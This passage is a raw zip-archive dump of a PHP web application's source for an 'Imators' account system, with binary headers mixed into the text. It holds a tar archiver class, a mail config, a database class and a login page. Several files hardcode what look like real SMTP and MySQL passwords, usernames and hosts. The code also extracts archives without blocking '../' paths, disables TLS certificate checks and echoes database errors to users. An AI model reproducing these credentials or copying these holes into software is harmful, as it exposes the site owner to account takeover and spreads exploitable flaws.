$this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PK �)�[{)Njj j mail_config.phpnu �[��� <?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; require 'vendor/autoload.php'; function sendTicketEmail($to, $subject, $body) { $mail = new PHPMailer(true); try { $mail->Host = 'web05.ouiheberg.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = 'PHPMailer::ENCRYPTION_STARTTLS'; $mail->Port = 465; // Recipients $mail->setFrom('support@imators.com', 'Imators Support'); $mail->addAddress($to); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $body; $mail->send(); return true; } catch (Exception $e) { error_log("Mail Error: {$mail->ErrorInfo}"); return false; } }PK �)�['��_� � db.phpnu �Iw�� <?php session_start(); class Database { private $host = "localhost:3306"; private $dbname = "gqdcvggs_imators-user"; private $username = "gqdcvggs"; private $password = "imators_onlyforcpanelmachineforallwebsite***#@&&*SECURITY"; private $conn; public function connect() { try { $this->conn = new PDO("mysql:host=$this->host;dbname=$this->dbname", $this->username, $this->password); $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); return $this->conn; } catch(PDOException $e) { echo "Connection failed: " . $e->getMessage(); return null; } } public function verifyLogin($email, $password) { try { $stmt = $this->conn->prepare("SELECT * FROM utilisateurs WHERE email = :email LIMIT 1"); $stmt->bindParam(":email", $email); $stmt->execute(); if($stmt->rowCount() > 0) { $user = $stmt->fetch(PDO::FETCH_ASSOC); if(password_verify($password, $user['password'])) { return $user; } } return false; } catch(PDOException $e) { return false; } } public function getUserSubscriptions($userId) { try { $stmt = $this->conn->prepare("SELECT academ, ohmypanel, something FROM utilisateurs WHERE id = :userId"); $stmt->bindParam(":userId", $userId); $stmt->execute(); return $stmt->fetch(PDO::FETCH_ASSOC); } catch(PDOException $e) { return false; } } } ?>PK �)�[�T��� � create_ticket.cssnu �Iw�� /* Create ticket styles */ :root { --primary-gradient: linear-gradient(135deg, #000000, #0a0a0a, #141414); --glass-bg: rgba(255, 255, 255, 0.02); --border-color: rgba(255, 255, 255, 0.05); } body { font-family: 'Poppins', sans-serif; background: var(--primary-gradient); background-attachment: fixed; min-height: 100vh; } .glass-nav { backdrop-filter: blur(20px); background: rgba(0, 0, 0, 0.8); border-bottom: 1px solid var(--border-color); } .glass-effect { backdrop-filter: blur(16px); background: linear-gradient(180deg, rgba(255, 255, 255, 0.03), rgba(255, 255, 255, 0.01)); border: 1px solid var(--border-color); } .gradient-border { position: relative; background: linear-gradient(145deg, rgba(26, 26, 26, 0.9), rgba(45, 45, 45, 0.5)); border-radius: 1rem; overflow: hidden; } .gradient-border::before { content: ''; position: absolute; inset: -1px; padding: 1px; background: linear-gradient(145deg, rgba(255, 255, 255, 0.12), rgba(255, 255, 255, 0.03)); -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite: xor; mask-composite: exclude; } .priority-badge { padding: 0.25rem 0.75rem; border-radius: 9999px; font-size: 0.875rem; font-weight: 500; } .priority-low { @apply bg-green-500/10 text-green-400 border border-green-500/20; } .priority-medium { @apply bg-yellow-500/10 text-yellow-400 border border-yellow-500/20; } .priority-high { @apply bg-red-500/10 text-red-400 border border-red-500/20; } .form-input { @apply w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none transition-all duration-200; } .form-input:focus { @apply border-blue-500/50 ring-1 ring-blue-500/20; } /* Animations */ @keyframes slideDown { from { transform: translateY(-10px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } @keyframes slideUp { from { transform: translateY(10px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .slide-down { animation: slideDown 0.3s ease-out; } .slide-up { animation: slideUp 0.3s ease-out; }PK �)�[n�I��[ �[ formore.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; const MAX_ATTEMPTS = 3; const LOCKOUT_DURATION = 300; if(isset($_SESSION['user_id'])) { header('Location: https://idsma.imators.com/dashboard.php'); exit; } function getDeviceInfo($user_agent) { $device_info = [ 'device' => 'Unknown', 'os' => 'Unknown', 'browser' => 'Unknown' ]; if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$user_agent)) { $device_info['device'] = 'Mobile'; } elseif(preg_match('/tablet|ipad|playbook|silk/i', $user_agent)) { $device_info['device'] = 'Tablet'; } else { $device_info['device'] = 'Desktop'; } if(preg_match('/windows/i', $user_agent)) { $device_info['os'] = 'Windows'; } elseif(preg_match('/macintosh|mac os x/i', $user_agent)) { $device_info['os'] = 'MacOS / iOS'; } elseif(preg_match('/linux/i', $user_agent)) { $device_info['os'] = 'Linux'; } elseif(preg_match('/iphone|ipad|ipod/i', $user_agent)) { $device_info['os'] = 'iOS'; } elseif(preg_match('/android/i', $user_agent)) { $device_info['os'] = 'Android'; } if(preg_match('/MSIE|Trident/i', $user_agent)) { $device_info['browser'] = 'Internet Explorer'; } elseif(preg_match('/Firefox/i', $user_agent)) { $device_info['browser'] = 'Firefox'; } elseif(preg_match('/Chrome/i', $user_agent)) { $device_info['browser'] = 'Chrome'; } elseif(preg_match('/Safari/i', $user_agent)) { $device_info['browser'] = 'Safari'; } elseif(preg_match('/Opera|OPR/i', $user_agent)) { $device_info['browser'] = 'Opera'; } return $device_info; } function sendLoginNotification($email, $location, $device_info) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->SMTPOptions = [ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]; $mail->setFrom('no-reply@imators.systems', 'Imators'); $mail->addAddress($email); $mail->addReplyTo('no-reply@imators.systems', 'No Reply'); $mail->isHTML(true); $mail->Subject = 'New Login to Your Imators Account'; $mail->Body = ' <div style="font-family: \'Poppins\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #1a1a1a; padding: 30px; border-radius: 10px; color: white;"> <h1 style="margin-bottom: 20px;">We detected a new login to your account with the following details:</h1> <ul style="margin-bottom: 20px; list-style: none; padding: 0;"> <li style="margin-bottom: 5px;">Location: ' . ($location['location'] ?? 'Unknown') . '</li> <li style="margin-bottom: 5px;">Device: ' . $device_info['device'] . ' (' . $device_info['os'] . ')</li> <li style="margin-bottom: 5px;">Browser: ' . $device_info['browser'] . '</li> <li style="margin-bottom: 5px;">Time: ' . date('F j, Y g:i A') . '</li> </ul> <p style="margin-bottom: 30px;">If this wasn\'t you, please secure your account immediately.</p> <a href="https://idsma.imators.com" style="display: inline-block; background-color: #00ff00; color: black; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Account Settings </a> <p style="margin-top: 20px; font-size: 12px; color: #888;"> If you believe someone has unauthorized access to your account, please contact our support team immediately. </p> </div> </div>'; $mail->send(); } catch (Exception $e) { error_log("Login email error: " . $mail->ErrorInfo); } } function logSuccessfulLogin($conn, $user, $location, $device_info) { $ip_address = $_SERVER['REMOTE_ADDR']; $watchguard_data = [ 'user_id' => $user['id'], 'ip-connected' => json_encode([ 'ip' => $ip_address, 'location' => $location['location'] ?? 'Unknown' ]), 'identified-screen' => json_encode($device_info), 'hours-of-connect' => date('H:i:s'), 'date-of-connect' => date('Y-m-d H:i:s') ]; $stmt = $conn->prepare(" INSERT INTO `connection-watchguard` (user_id, `ip-connected`, `identified-screen`, `hours-of-connect`, `date-of-connect`) VALUES (:user_id, :ip_connected, :identified_screen, :hours_of_connect, :date_of_connect) "); $stmt->execute([ ':user_id' => $watchguard_data['user_id'], ':ip_connected' => $watchguard_data['ip-connected'], ':identified_screen' => $watchguard_data['identified-screen'], ':hours_of_connect' => $watchguard_data['hours-of-connect'], ':date_of_connect' => $watchguard_data['date-of-connect'] ]); } $error = ''; $success = ''; $is_locked = false; $remaining_time = 0; $_SESSION['login_attempts'] ??= 0; if (isset($_SESSION['lockout_time']) && $_SESSION['lockout_time'] > time()) { $is_locked = true; $remaining_time = $_SESSION['lockout_time'] - time(); } if (isset($_GET['unlock']) && (!isset($_SESSION['lockout_time']) || $_SESSION['lockout_time'] <= time())) { unset($_SESSION['login_attempts']); unset($_SESSION['lockout_time']); $is_locked = false; } if(isset($_GET['verified'])) { $success = "Email verified! Please login to continue."; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$is_locked) { $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); $password = $_POST['password']; try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("SELECT * FROM utilisateurs WHERE email = ? AND is_verified = 1 LIMIT 1"); $stmt->execute([$email]); if($stmt->rowCount() > 0) { $user = $stmt->fetch(PDO::FETCH_ASSOC); if(password_verify($password, $user['password'])) { $stmt = $conn->prepare("SELECT passkey_enabled FROM utilisateurs WHERE id = ? LIMIT 1"); $stmt->execute([$user['id']]); $passkey_enabled = $stmt->fetchColumn(); if ($passkey_enabled) { $_SESSION['pending_passkey_auth'] = true; $_SESSION['pending_user_id'] = $user['id']; $_SESSION['pending_username'] = $user['username']; $_SESSION['pending_email'] = $user['email']; header('Location: https://idsma.imators.com/passkey.php'); exit; } unset($_SESSION['login_attempts']); unset($_SESSION['lockout_time']); $_SESSION['user_id'] = $user['id']; $_SESSION['username'] = $user['username']; $device_info = getDeviceInfo($_SERVER['HTTP_USER_AGENT']); $ip_details = json_decode(file_get_contents("http://ip-api.com/json/" . $_SERVER['REMOTE_ADDR']), true); $location = []; if($ip_details && $ip_details['status'] === 'success') { $location = [ 'country' => $ip_details['country'], 'city' => $ip_details['city'], 'region' => $ip_details['regionName'], 'location' => "{$ip_details['city']}, {$ip_details['country']}" ]; } logSuccessfulLogin($conn, $user, $location, $device_info); sendLoginNotification($email, $location, $device_info); header('Location: https://idsma.imators.com/dashboard'); exit; } else { $_SESSION['login_attempts']++; if ($_SESSION['login_attempts'] >= MAX_ATTEMPTS) { $_SESSION['lockout_time'] = time() + LOCKOUT_DURATION; $is_locked = true; $error = "Too many failed attempts. Please wait 5 minutes."; } else { $error = "Invalid password"; } } } else { $error = "Email not found or not verified"; } } catch(PDOException $e) { $error = "Login failed: " . $e->getMessage(); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Imators Auth.</title> <meta name="description" content="Log in to your Imators account or create one to access a multitude of features that give you control over the system at your fingertips."> <meta property="og:url" content="https://accounts.imators.com"> <meta property="og:type" content="website"> <meta property="og:title" content="Imators Auth."> <meta property="og:description" content="Log in to your Imators account or create one to access a multitude of features that give you control over the system at your fingertips."> <meta property="og:image" content="https://opengraph.b-cdn.net/production/images/fb6bc1ea-5744-46f1-bee6-fc033a6c6b56.png?token=_EL6e3nPPtxSgvlGKURhJgrJb5NireVFT99X4BXVrYA&height=600&width=1200&expires=33267345049"> <meta name="twitter:card" content="summary_large_image"> <meta property="twitter:domain" content="accounts.imators.com"> <meta property="twitter:url" content="https://accounts.imators.com"> <meta name="twitter:title" content="Imators Auth."> <meta name="twitter:description" content="Log in to your Imators account or create one to access a multitude of features that give you control over the system at your fingertips."> <meta name="twitter:image" content="https://opengraph.b-cdn.net/production/images/fb6bc1ea-5744-46f1-bee6-fc033a6c6b56.png?token=_EL6e3nPPtxSgvlGKURhJgrJb5NireVFT99X4BXVrYA&height=600&width=1200&expires=33267345049"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Imators Auth.</title> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script> <style> body { font-family: 'Poppins', sans-serif; } #countdown { display: none; color: red; } </style> </head> <body x-data="loginManager()" class="bg-black text-white min-h-screen flex items-center justify-center"> <div class="w-full max-w-md p-8"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Logo" class="mx-left mb-4" style="height: 60px;"> <h1 class="text-3xl text-left text-green-200">Discover the door to a multitude of functions</h1> <p class="text-sm text-left"><a class="underline" href="/register"><span class="underline text-green-300">Register</span></a> or login to your Imators account</p> </div> <div id="passkey-modal" class="fixed inset-0 bg-black bg-opacity-50 hidden z-50"> <div class="bg-black p-6 rounded-lg shadow-xl w-96 mx-auto mt-20 border border-gray-700"> <h2 class="text-xl text-white mb-4">Passkey verification</h2> <div class="flex justify-center mb-6"> <div class="animate-pulse w-16 h-16 bg-blue-500/20 rounded-full flex items-center justify-center"> <svg class="w-8 h-8 text-blue-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" /> </svg> </div> </div> <p class="text-gray-300 text-center mb-6">Use your Passkey to connect...</p> <button onclick="closePasskeyModal()" class="w-full border border-gray-600 text-gray-300 py-2 px-4 rounded hover:bg-gray-800 transition-colors"> Annuler </button> </div> </div> <form method="POST" x-on:submit.prevent="submitForm" class="space-y-6" > <?php if($error): ?> <div x-show="showError" class="bg-red-500 text-white p-3 rounded-lg text-center mb-4" > <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if($is_locked): ?> <div x-data="lockoutTimer(<?php echo $remaining_time; ?>)" x-init="startTimer()" class="bg-yellow-500/20 border border-yellow-500 text-yellow-300 p-4 rounded-lg text-center mb-4" > <p>Too many login attempts</p> Time remaining: <span x-text="formattedTime"></span> <a x-show="canUnlock" href="?unlock" class="mt-2 inline-block bg-green-500 text-white px-4 py-2 rounded" > Try Again </a> </div> <?php endif; ?> <div> <label class="block text-sm font-medium mb-2">Email</label> <input type="email" name="email" required <?php echo $is_locked ? 'disabled' : ''; ?> x-model="email" class="w-full px-4 py-2 rounded-lg bg-gray-900 border border-gray-800 focus:border-white focus:outline-none <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > </div> <div> <label class="block text-sm font-medium mb-2">Password</label> <div class="relative"> <input type="password" name="password" required <?php echo $is_locked ? 'disabled' : ''; ?> x-model="password" id="password-field" class="w-full px-4 py-2 rounded-lg bg-gray-900 border border-gray-800 focus:border-white focus:outline-none <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > <button type="button" class="absolute inset-y-0 right-0 pr-3 flex items-center" onclick="togglePasswordVisibility()" > <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" id="eye-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" /> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" /> </svg> <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400 hidden" id="eye-off-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l18 18" /> </svg> </button> </div> </div> <script> function togglePasswordVisibility() { const passwordField = document.getElementById('password-field'); const eyeIcon = document.getElementById('eye-icon'); const eyeOffIcon = document.getElementById('eye-off-icon'); if (passwordField.type === 'password') { passwordField.type = 'text'; eyeIcon.classList.add('hidden'); eyeOffIcon.classList.remove('hidden'); } else { passwordField.type = 'password'; eyeIcon.classList.remove('hidden'); eyeOffIcon.classList.add('hidden'); } } </script> <button type="submit" <?php echo $is_locked ? 'disabled' : ''; ?> class="w-full bg-white text-black py-2 px-4 rounded-lg font-medium hover:bg-gray-100 transition-colors <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > Login </button> </form> <p class="mt-4 text-center text-sm"> <a href="./register.php" class="text-gray-400 hover:text-white">Create an account</a> </p> </div> <script> function loginManager() { return { email: '', password: '', showError: <?php echo $error ? 'true' : 'false'; ?>, submitForm() { if (!this.email || !this.password) { this.showError = true; return; } document.querySelector('form').submit(); } }; } function lockoutTimer(initialTime) { return { remainingTime: initialTime, canUnlock: false, formattedTime: '', startTimer() { const updateTimer = () => { if (this.remainingTime > 0) { const minutes = Math.floor(this.remainingTime / 60); const seconds = this.remainingTime % 60; this.formattedTime = `${minutes} min ${seconds} sec`; this.remainingTime--; setTimeout(updateTimer, 1000); } else { this.canUnlock = true; this.formattedTime = 'Unlocked'; } }; updateTimer(); } } } </script> <script> function base64ToArrayBuffer(base64) { const binaryString = window.atob(base64); const bytes = new Uint8Array(binaryString.length); for (let i = 0; i < binaryString.length; i++) { bytes[i] = binaryString.charCodeAt(i); } return bytes.buffer; } function arrayBufferToBase64(buffer) { const bytes = new Uint8Array(buffer); let binary = ''; for (let i = 0; i < bytes.byteLength; i++) { binary += String.fromCharCode(bytes[i]); } return window.btoa(binary); } function showError(message) { const errorDiv = document.createElement('div'); errorDiv.className = 'bg-red-500 text-white p-3 rounded-lg text-center mb-4'; errorDiv.textContent = message; const existingError = document.querySelector('.bg-red-500'); if (existingError) { existingError.remove(); } document.querySelector('form').insertBefore(errorDiv, document.querySelector('form').firstChild); } function showPasskeyModal() { document.getElementById('passkey-modal').classList.remove('hidden'); } function closePasskeyModal() { document.getElementById('passkey-modal').classList.add('hidden'); } async function handlePasskeyAuth(challenge) { try { const credential = await navigator.credentials.get({ publicKey: { challenge: base64ToArrayBuffer(challenge), rpId: window.location.hostname, timeout: 60000, userVerification: "preferred" } }); const response = await fetch('../auth/verify-passkey.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), signature: arrayBufferToBase64(credential.response.signature) } }) }); const result = await response.json(); if (result.success) { window.location.href = '/dashboard'; } else { throw new Error(result.error); } } catch (error) { closePasskeyModal(); showError(error.message || 'Échec de l\'authentification Passkey'); } } document.querySelector('form').addEventListener('submit', async function(e) { e.preventDefault(); try { const formData = new FormData(this); const response = await fetch(window.location.href, { method: 'POST', body: formData }); const contentType = response.headers.get('content-type'); if (contentType && contentType.includes('application/json')) { const result = await response.json(); if (result.status === 'passkey_required') { showPasskeyModal(); await handlePasskeyAuth(result.challenge); } else { showError(result.error || 'Échec de la connexion'); } } else { window.location.href = 'https://formore.tv/account'; } } catch (error) { showError('Une erreur est survenue lors de la connexion'); } }); function loginManager() { return { email: '', password: '', showError: <?php echo $error ? 'true' : 'false'; ?>, submitForm() { if (!this.email || !this.password) { this.showError = true; return; } document.querySelector('form').submit(); } }; } function lockoutTimer(initialTime) { return { remainingTime: 